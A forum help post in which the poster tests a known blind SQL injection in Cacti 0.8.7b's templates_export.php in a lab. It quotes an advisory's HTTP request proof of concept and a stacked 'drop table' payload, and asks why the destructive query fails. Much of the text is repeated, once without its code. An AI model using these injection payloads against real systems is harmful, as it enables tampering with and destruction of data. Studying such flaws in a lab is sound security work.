[Help] Playing with cacti and SQLInjection 06-06-2014, 06:15 PM
#1
Hi guys I've installed Cacti Version 0.8.7b to play with a know vulnerability (SQLinjection). I report an extract of the advisory including the poc:
The POC
I want to underline the injection in posta-data: export_item_id=18 and 1=1
Now, for learning purpose, I want to see how many deep I can go with this vulnerability. For example in the DB named "cacti" and from mysql terminal i run:
With the injection I would to destroy this table so, as post content I send export_item_id=18; drop table version2;--:
But with no effect instead if I copy the query from php source file of cacti and run the query in the mysql shell I remove the table with success:
Original query extracted from export.php
The modified query to run in mysql:
I underline graph_template_id=18; drop table version2;--
Any help or idea?
Quote:Technical Description
Blind SQL Injection
CVSSv2 Score: 9 (AV:N/AC:L/Au: S/C:C/I:C/A:C)
A Vulnerability has been discovered in Cacti, which can be exploited by
any user to conduct SQL Injection attacks. Input passed via the
export_item_id parameter to templates_export.php script is not
properly sanitized before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary
SQL code.
The POC
Code:
Host: 192.168.80.27
User-Agent: Browser/0.5.0 (X11; Linux x86_64; rv:4.0) Gecko/20120021 Browser/0.0 Browser/0.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.27/cacti/templates_export.php
Cookie: Cacti=12F&FFVU78e5t23341gs541g4efw555691; clickedFoldert2=1%5E; highlightedTreeviewLinkt2=2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
export_item_id=18 and 1=1&include_deps=on&output_format=3&export_type=graph_template&save_component_export=1&action=save&x=42&y=11I want to underline the injection in posta-data: export_item_id=18 and 1=1
Now, for learning purpose, I want to see how many deep I can go with this vulnerability. For example in the DB named "cacti" and from mysql terminal i run:
Code:
use cacti;
CREATE TABLE version2 (id INT,data VARCHAR(100));With the injection I would to destroy this table so, as post content I send export_item_id=18; drop table version2;--:
Code:
export_item_id=18; drop table version2;--&include_deps=on&output_format=3&export_type=graph_template&save_component_export=1&action=save&x=42&y=11But with no effect instead if I copy the query from php source file of cacti and run the query in the mysql shell I remove the table with success:
Original query extracted from export.php
Code:
$graph_template_items = db_fetch_assoc("select
data_template_rrd.data_template_id
from (graph_templates_item,data_template_rrd)
where graph_templates_item.task_item_id=data_template_rrd.id
and graph_templates_item.graph_template_id=$id
and graph_templates_item.local_graph_id=0
and graph_templates_item.task_item_id > 0
group by data_template_rrd.data_template_id");The modified query to run in mysql:
Code:
select data_template_rrd.data_template_id from (graph_templates_item,data_template_rrd) where graph_templates_item.task_item_id=data_template_rrd.id and graph_templates_item.graph_template_id=18; drop table version2;-- and graph_templates_item.local_graph_id=0 and graph_templates_item.task_item_id > 0 group by data_template_rrd.data_template_id;Any help or idea?


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)